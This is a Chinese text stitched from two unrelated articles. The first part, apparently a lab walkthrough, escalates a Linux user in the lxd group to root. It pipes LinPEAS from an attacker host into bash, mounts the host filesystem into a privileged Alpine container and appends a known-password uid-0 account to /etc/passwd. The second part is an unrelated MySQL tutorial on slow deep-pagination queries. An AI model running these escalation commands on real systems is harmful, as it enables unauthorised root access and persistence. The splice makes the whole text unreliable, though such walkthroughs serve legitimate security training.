首先,我们分别以手动和使用工具的方式枚举目标主机,以表明 LXD 已被初始化并且容器正在运行。接下来,我们将发现当前标准用户已分配 LXD 组权限。然后,我们将创建一个具有 root 权限的容器,并使其能够挂载到当前实际的文件系统。最后,我们将以 root 身份进入容器,然后从容器内部以 root 身份与实际文件系统进行交互!作为奖励,我们将在实际文件系统上编辑 passwd 文件,然后通过获取 root shell 完全脱离容器。

1、什么是 LXD 和 LXC ?

首先我们要明白 LXD 和 LXC 都是容器技术。因此,要了解 LXD/LXC,我们首先要了解什么是容器……

容器是一个隔离的地方,我们可以在这里运行小到一个应用程序,大到一个完整的操作系统,而不会影响实际系统的其他部分,实际系统也不会影响容器内运行的任何内容。

要了解 LXD 是什么以及它是如何工作的,我们必须先了解 LXC。

LXC(Linux Container)
:是一种在 Linux 内核中对操作系统级软件进行虚拟化的解决方案。LXC 是一种轻量级虚拟化技术(容器),它允许我们创建一个利用主机内核的 Linux 操作环境,这样就不需要第二个内核了(即 一颗大脑,多种人格)。

LXD(Linux Container Daemon)
:是一种基于镜像的 "轻型管理程序",这意味着它是一种专为容器设计的管理程序。从本质上讲,LXD 是 LXC 的扩展,包含一个连接 libxlc(LXC 软件库)的 REST-API。

那么这对于 LXD 组成员的用户意味着什么呢?

最重要的一点是 LXD 是一个 root 进程,它允许任何对 LXD 套接字具有写访问权限的人(即 LXD 组中的用户)
执行特权操作
。例如作为 LXD 组成员的标准用户可以创建 root 级特权容器,因为 LXD 不会尝试匹配当前用户的权限。

既然我们已经对容器技术以及 LXD 和 LXC 有了一定程度的了解,下面我们就开始演示。

注:LXC 是 Linux 内核支持的一种容器技术,而 LXD 则是基于 LXC 技术制作的一个可以由普通用户操作的容器程序,其实就相当于我们广义上所了解的容器。

2、查找 LXD 组权限

假设我们能够通过 SSH 成功连接到目标主机,接下来我们将了解如何通过手动和使用 LinPEAS 工具的方式来寻找 LXD 组中的用户。

ssh juggernaut@172.16.1.175

2.1、手动搜索 LXD 组用户

我们要做的第一件事是收集目标计算机上存在的所有用户帐户的列表;然后我们可以从中找到与每个用户关联的所有组。

虽然,这听起来工作量很大!相反,让我们展示一些 Linux-fu 技能,并在一个命令中完成上述所有操作。我们将…

  • 从 /etc/passwd 文件中获取有关系统上每个帐户的信息
  • 使用 Linux-fu 过滤出 /etc/passwd 文件中的用户名
  • 在输出的每一行用户名上,我们将使用
    xargs
    来执行
    id
    以为我们提供组信息
cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id

以上输出为我们提供了所有用户及其关联组身份的完整列表,但我们可以做得更好。为了获得更精细的结果,我们可以将
grep
添加到命令中,以仅筛选属于 LXD 组的用户。

cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id | grep -i "lx"

Perfect!从上面的输出中我们可以看到两个条目。

第一个条目告诉我们
devops
用户是 LXD 组的一部分。第二个条目是 LXD “用户”,它是一个用于初始化 LXD 服务的服务帐户(为容器设置 DNS/DHCP/interface 等内容)。

此时,我们应该考虑如何转向
secops
用户。不过,在此之前,让我们先来看看更多提示,它们将帮助我们找到 LXD 权限提升的蛛丝马迹。

2.2、LXD 权限提升的提示

可以通过检查一些事情来 Hint 我们当前 LXD 权限提升是否可行,让我们快速回顾一下它们。

首先,一旦我们立足于目标,就可以使用
id
命令来快速检查当前用户的权限。如果发现当前用户属于
lxd 组
,那么就可以知道我们很快就会获胜。

接下来,我们可以检查系统上是否存在
lxd
帐户。如果存在,那么就知道该系统可以运行容器,并且这里可能有一个用户属于
lxd 组

cat /etc/passwd | grep "lxd"

我们还可以检查是否有包含 "lxd"或 "lxc"的运行进程,这将暗示一个容器已经在运行。不过,这并不是利用组权限的必要条件。这主要是为了帮助我们在收集信息时了解系统内部发生了什么。

ps -ef | grep -i "lxd\|lxc"

在这里,我们看到了有关该系统上 LXD 服务的大量信息;其中最值得注意的是,我们看到有一个容器正在运行并监听于 10.6.81.1 上,但这也只是一个好的提示而已。而我们其实并不需要关心已经运行的容器,因为我们将为此漏洞制作自己的容器。

总的来说,我们能找到的最佳提示是 lxd 组中的用户,因为这是此攻击的唯一实际要求。

由于
devops
用户启用了 lxd 组权限,因此我们希望尝试转向该用户。但首先,让我们快速了解一下 LinPEAS 是如何找到上述所有枚举的。

2.3、工具枚举 LXD – LinPEAS

LinPEAS 是一款终极的后漏洞枚举工具,因为它提供了大量信息。在受害者上运行该工具后,我们将看到手动枚举发现的所有相同内容,甚至更多。然而,在使用工具之前展示手动步骤依旧非常重要,这样我们才能了解工具的输出以及要查找的内容。

如果您没有 LinPEAS 的副本,您可以在
这里
获取一份。

一般来说,当我们运行 LinPEAS 时,我们将不带参数执行它以运行“所有检查”,然后从上到下逐行梳理所有输出。

获取 LinPEAS 的副本后,我们通常会将副本传输给受害者。然而,在这个例子中,我们将它直接下载到内存中,并将输出重定向到一个文件以便于解析。

首先,我们需要在攻击者计算机上的
linpeas.sh
所在目录中设置一个 HTTP 服务器 。

python3 -m http.server 80

然后,回到受害者机器上,我们可以使用以下命令将 LinPEAS 下载并直接执行到内存中,并将输出重定向到文件:

curl 172.16.1.30/linpeas.sh | bash > peas.txt

通过将命令直接输入 bash,cURL 会将脚本输入 bash 并在内存中执行,而不会将其写入磁盘!但是,它会通过重定向将结果写入磁盘上的文件。

脚本运行完成后,我们可以使用以下命令过滤结果以仅查找“lxd”和“lxc”的实例:

cat ./peas.txt | grep -i 'lxd\|lxc'

我们可以看到,LinPEAS 找到了我们手动枚举的所有内容,甚至更多。
LinPEAS 发现 lxc 二进制文件存在于系统中,它找到了当前正在运行的容器,devops 用户属于 lxd 组,
还有更多提示表明这是一条非常合理的特权提升途径。

再次强调,你不需要找到一个正在运行的容器或上述之中的任何提示以作为攻击的先决条件。只要你找到 lxd 组中的用户,你就有可能获得 root 权限,但前提是你能以该用户的身份获得 shell。我只是向你展示如何通过跟踪线索和收集证据来拼凑出一条可能的特权提升路径。

现在我们已经看到了枚举 LXD/LXC 时的一些技巧,下面假设我们已经获得了
devops
用户的密码,并可以利用该用户组的权限。

3、利用 LXD – Alpine 容器逃逸

为了滥用 LXD 组权限,我们需要首先在攻击者机器上构建 Alpine 镜像。

3.1、构建 Alpine 镜像

在攻击者机器上,我们可以运行以下命令来下载 Alpine 镜像,然后构建最新版本。

注:作者 GitHub 仓库有编译好的现成镜像文件,可以直接拿来使用。

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

全部完成后,我们将看到在当前目录中创建了一个
TAR
文件。这是我们需要发送给受害者的 Alpine 容器。

由于某种原因我创建了两个容器文件,如果您也遇到这种情况,请选择最新的日期

Alpine 容器准备就绪后,就可以将其发送给受害者了。

3.2、下载 Alpine 镜像

本次使用 FTP 将文件下载到受害者上,首先我们需要在攻击者计算机上设置 FTP 服务器。请在在创建 Alpine 镜像的目录中使用以下命令来完成:

python3 -m pyftpdlib -w -p 21

随着 FTP 服务器在攻击者计算机上运行,我们现在可以返回受害者,访问 FTP 服务器,并对 Alpine 镜像执行
get
操作。由于允许匿名登录,我们将使用
anonymous
登录,对于密码,我们只需按[Enter]键将其留空。

ftp 172.16.1.30

在 FTP 服务器内部,我们可以使用
ls -l
命令列出所有文件,然后我们可以使用
get
命令下载 Alpine 镜像。

在获取文件并退出 FTP 服务器后,我们可以看到图像已完整下载到受害者上。

Perfect! 现在 Alpine 镜像已位于受害者上,可以被用于利用 LXD 权限并获取 root shell 了。

3.3、导入 Alpine 镜像

我们可以使用以下
lxc
命令将 Alpine 镜像导入 LXD 容器:

lxc image import alpine-v3.16-x86_64-20221112_0508.tar.gz --alias alpine

之后,我们应该确认它已被导入。

lxc image list

成功导入 Alpine 镜像后,现在我们可以继续执行下一组命令,这组命令将执行以下操作:

  • 初始化 Alpine 镜像
  • 添加
    security.privileged=true
    标志,以便容器以 root 身份运行
  • 将宿主机文件系统 / 目录挂载到到容器内操作系统的挂载点上
  • 启动容器并确认已启动
lxc init alpine juggernaut -c security.privileged=true
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true
lxc start juggernaut
lxc list

现在我们设置了错误配置的容器,我们可以进入 root shell,然后突破并成为实际文件系统的 root!

lxc exec juggernaut sh

Amazing!我们进入了 root shell;然而,我们目前只是容器内的 root,这是通过使用
ls -l /home
命令确认的,因为并没有看到实际文件系统上存在的两个用户家目录:juggernaut 和 devops。

但是,我们确实将宿主机实际的文件系统挂载到了容器内的
/mnt/root

3.4、突破容器

如果我们 cd 到容器内的
/mnt/root
,我们将以 root 身份完全访问文件系统,因此从技术上讲,此时我们可以做任何事情。

上面的片段显示实际文件系统已挂载到容器内的 /mnt/root 目录;为了确认这一点,我们可以再次检查
/mnt/root/home
文件夹,但这一次我们将找到我们之前在枚举实际文件系统时看到的两个配置文件。

Incredible!这意味着我们能够以 root 身份与文件系统交互!为了确认这一点,我们可以枚举只有 root 可以访问的内容,例如 /root 目录或
影子
文件。

这很好,但在本例中,我们感兴趣的是真正的突破,我们可以通过多种方式实现,例如,获取root SSH 密钥、将 bash 复制到 /tmp 并赋予其 SUID 权限、在 /etc/passwd 文件中添 root 用户等。

对于此示例,我们将向 /etc/passwd 添加一个新的 root 用户。完成后,我们将退出容器并将用户切换到新的 root 用户。

为此,我们必须首先使用
openssl
创建一个哈希密码。为了简单起见,我们将密码设置为“
password
”。我们可以从攻击者机器内部执行此操作,因为我们只需要获取哈希值。

openssl passwd password

运行该命令后,我们将获得一个哈希值
ShuKpZV7v9akI
,请将此值放在手边,因为我们将在下一个命令中需要它。

要创建名为
r00t
的第二个 root 用户,我们可以将以下行添加到 passwd 文件中--
r00t: ShuKpZV7v9akI:0:0:root:/root:/bin/bash

echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> /mnt/root/etc/passwd

将新用户添加到 /etc/passwd 文件后,我们就可以退出容器,然后 su r00t,输入密码 "password" 后,我们就会进入受害者的正常 root shell。

就这样,我们创建了第二个 root 用户,并脱离了容器,获得了实际文件系统的 root 访问权限!

分享是最有效的学习方式。

博客:
https://blog.ktdaddy.com/

故事

梅雨季,闷热的夜,令人窒息,窗外一道道闪电划破漆黑的夜幕,小猫塞着耳机听着恐怖小说,辗转反侧,终于睡意来了,然而挨千刀的手机早不振晚不振,偏偏这个时候振动了一下,一个激灵,没有按捺住对内容的好奇,点开了短信,卧槽?告警信息,原来是负责的服务出现慢查询了。小猫想起来,今天在下班之前上线了一个版本,由于新增了一个业务字段,所以小猫写了相关的刷数据的接口,在下班之前调用开始刷历史数据。

考虑到表的数据量比较大,一次性把数据全部读取出来然后在内存里面去刷新数据肯定是不现实的,所以小猫采用了分页查询的方式依次根据条件查询出结果,然后进行表数据的重置。没想到的是,数据量太大,分页的深度越来越深,渐渐地,慢查询也就暴露出来了。

慢查询告警

强迫症小猫瞬间睡意全无,翻起来打开电脑开始解决问题。

那么为什么用使用limit之后会出现慢查询呢?接下来老猫和大家一起来剖析一下吧。

剖析流程

limit分页为什么会变慢?

在解释为什么慢之前,咱们来重现一下小猫的慢查询场景。咱们从实际的例子推进。

做个小实验

假设我们有一张这样的业务表,商品Product表。具体的建表语句如下:

CREATE TABLE `Product` (
  `id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `type` tinyint(3) unsigned NOT NULL DEFAULT '1' ,
  `spuCode` varchar(50) NOT NULL DEFAULT '' ,
  `spuName` varchar(100) NOT NULL DEFAULT '' ,
  `spuTitle` varchar(300) NOT NULL DEFAULT '' ,
  `channelId` bigint(20) unsigned NOT NULL DEFAULT '0',
  `sellerId` bigint(20) unsigned NOT NULL DEFAULT '0'
  `mallSpuCode` varchar(32) NOT NULL DEFAULT '',
  `originCategoryId` bigint(20) unsigned NOT NULL DEFAULT '0' ,
  `originCategoryName` varchar(50) NOT NULL DEFAULT '' ,
  `marketPrice` decimal(10,2) unsigned NOT NULL DEFAULT '0.00',
  `status` tinyint(3) unsigned NOT NULL DEFAULT '1' ,
  `isDeleted` tinyint(3) unsigned NOT NULL DEFAULT '0',
  `timeCreated` datetime(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3),
  `timeModified` datetime(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3) ON UPDATE CURRENT_TIMESTAMP(3) ,
  PRIMARY KEY (`id`) USING BTREE,
  UNIQUE KEY `uk_spuCode` (`spuCode`,`channelId`,`sellerId`),
  KEY `idx_timeCreated` (`timeCreated`),
  KEY `idx_spuName` (`spuName`),
  KEY `idx_channelId_originCategory` (`channelId`,`originCategoryId`,`originCategoryName`) USING BTREE,
  KEY `idx_sellerId` (`sellerId`)
) ENGINE=InnoDB AUTO_INCREMENT=12553120 DEFAULT CHARSET=utf8mb4 COMMENT='商品表'

从上述建表语句中我们发现timeCreated走普通索引。
接下来我们根据创建时间来执行一下分页查询:

当为浅分页的时候,如下:

select * from Product where timeCreated > "2020-09-12 13:34:20" limit 0,10

此时执行的时间为:
"executeTimeMillis":1

当调整分页查询为深度分页之后,如下:

select * from Product where timeCreated > "2020-09-12 13:34:20" limit 10000000,10

此时深度分页的查询时间为:
"executeTimeMillis":27499

此时看到这里,小猫的场景已经重现了,此时深度分页的查询已经非常耗时。

剖析一下原因

简单回顾一下普通索引和聚簇索引

我们来回顾一下普通索引和聚簇索引(也有人叫做聚集索引)的关系。

大家可能都知道Mysql底层用的数据结构是B+tree(如果有不知道的伙伴可以自己了解一下为什么mysql底层是B+tree),B+tree索引其实可以分为两大类,一类是聚簇索引,另外一类是非聚集索引(即普通索引)。

(1)聚簇索引:InnoDB存储表是索引组织表,聚簇索引就是一种索引组织形式,聚簇索引叶子节点存放表中所有行数据记录的信息,所以经常会说索引即数据,数据即索引。当然这个是针对聚簇索引。

聚簇索引

由图可知在执行查询的时候,从根节点开始共经历了3次查询即可找到真实数据。倘若没有聚簇索引的话,就需要在磁盘上进行逐个扫描,直至找到数据为止。显然,索引会加快查询速度,但是在写入数据的时候,由于需要维护这颗B+树,因此在写入过程中性能也会下降。

(2)普通索引:普通索引在叶子节点并不包含所有行的数据记录,只是会在叶子节点存本身的键值和主键的值,在检索数据的时候,通过普通索引子节点上的主键来获取想要找到的行数据记录。

普通索引

由图可知流程,首先从非聚簇索引开始寻找聚簇索引,找到非聚簇索引上的聚簇索引后,就会到聚簇索引的B+树上进行查询,通过聚簇索引B+树找到完整的数据。该过程比较专业的叫法也被称为“回表”。

看一下实际深度分页执行过程

有了以上的知识基础我们再来回过头看一下上述深度分页SQL的执行过程。
上述的查询语句中idx_timeCreated显然是普通索引,咱们结合上述的知识储备点,其深度分页的执行就可以拆分为如下步骤:

1、通过普通索引idx_timeCreated,过滤timeCreated,找到满足条件的记录ID;

2、通过ID,回到主键索引树,找到满足记录的行,然后取出展示的列(回表);

3、扫描满足条件的10000010行,然后扔掉前10000000行,返回。

结合看一下执行计划:

执行计划

原因其实很清晰了:
显然,导致这句SQL速度慢的问题出现在第2步。其中发生了10000010次回表,这前面的10000000条数据完全对本次查询没有意义,但是却占据了绝大部分的查询时间。

再深入一点从底层存储来看,数据库表中行数据、索引都是以文件的形式存储到磁盘(硬盘)上的,而硬盘的速度相对来说要慢很多,存储引擎运行sql语句时,需要访问硬盘查询文件,然后返回数据给服务层。当返回的数据越多时,访问磁盘的次数就越多,就会越耗时。

替换limit分页的一些方案。

上述我们其实已经搞清楚深度分页慢的原因了,总结为“无用回表次数过多”。

那怎么优化呢?相信大家应该都已经知道了,其核心当然是减少无用回表次数了。

有哪些方式可以帮助我们减少无用回表次数呢?

子查询法

思路:如果把查询条件,转移回到主键索引树,那就不就可以减少回表次数了。
所以,咱们将实际的SQL改成下面这种形式:

select * FROM Product where id >= (select p.id from Product p where p.timeCreated > "2020-09-12 13:34:20" limit 10000000, 1) LIMIT 10;

测试一下执行时间:
"executeTimeMillis":2534

我们可以明显地看到相比之前的27499,时间整整缩短了十倍,在结合执行计划观察一下。

执行计划2

我们综合上述的执行计划可以看出,子查询 table p查询是用到了idx_timeCreated索引。首先在索引上拿到了聚集索引的主键ID,省去了回表操作,然后第二查询直接根据第一个查询的 ID往后再去查10个就可以了!

显然这种优化方式是有效的。

使用inner join方式进行优化

这种优化的方式其实和子查询优化方法如出一辙,其本质优化思路和子查询法一样。
我们直接来看一下优化之后的SQL:

select * from Product p1 inner join (select p.id from Product p where p.timeCreated > "2020-09-12 13:34:20" limit 10000000,10) as p2 on p1.id = p2.id

测试一下执行的时间:
"executeTimeMillis":2495

执行计划3

咱们发现和子查询的耗时其实差不多,该思路是先通过idx_timeCreated二级索引树查询到满足条件的主键ID,再与原表通过主键ID内连接,这样后面直接走了主键索引了,同时也减少了回表。

上面两种方式其核心优化思想都是减少回表次数进行优化处理。

标签记录法(锚点记录法)

我们再来看下一种优化思路,上述深度分页慢原因我们也清楚了,一次性查询的数据太多也是问题,所以我们从这个点出发去优化,每次查询少量的数据。那么我们可以采用下面那种锚点记录的方式。类似船开到一个地方短暂停泊之后继续行驶,那么那个停泊的地方就是抛锚的地方,老猫喜欢用锚点标记来做比方,当然看到网上有其他的小伙伴称这种方式为标签记录法。其实意思也都差不多。

这种方式就是标记一下上次查询到哪一条了,下次再来查的时候,从该条开始往下扫描。我们直接看一下SQL:

select * from Product p where p.timeCreated > "2020-09-12 13:34:20" and id>10000000 limit 10

显然,这种方式非常快,耗时如下:
"executeTimeMillis":1

但是这种方式显然是有缺陷的,大家想想如果我们的id不是连续的,或者说不是自增形式的,那么我们得到的数据就一定是不准确的。与此同时咱们也不能跳页查看,只能前后翻页。

当然存在相同的缺陷,我们还可以换一种写法。

select * from Product p where p.timeCreated > "2020-09-12 13:34:20" and id between 10000000 and 10000010  

这种方式也是一样存在上述缺陷,另外的话更要注意的是between ...and语法是两头都是闭区域间。上述语句如果ID连续不断地情况下,咱们最终得到的其实是11条数据,并不是10条数据,所以这个地方还是需要注意的。

存入到es中

上述罗列的几种分页优化的方法其实已经够用了,那么如果数据量再大点的话咋整,那么我们可能就要选择其他中间件进行查询了,当然我们可以选择es。那么es真的就是万能药吗?显然不是。ES中同样存在深度分页的问题,那么针对es的深度分页,那么又是另外一个故事了,这里咱们就不展开了。

写到最后

那么半夜三更爬起来优化慢查询的小猫究竟有没有解决问题呢?电脑前,小猫长吁了一口气,解决了!
我们看下小猫的优化方式:

select * from InventorySku isk inner join (select id from InventorySku where inventoryId = 6058 limit 109500,500 ) as d on isk.id = d.id

显然小猫采用了inner join的优化方法解决了当前的问题。

相信小伙伴们后面遇到这类问题也能搞定了。

我是老猫,资深研发老鸟,让我们一起聊聊技术,聊聊职场,聊聊人生。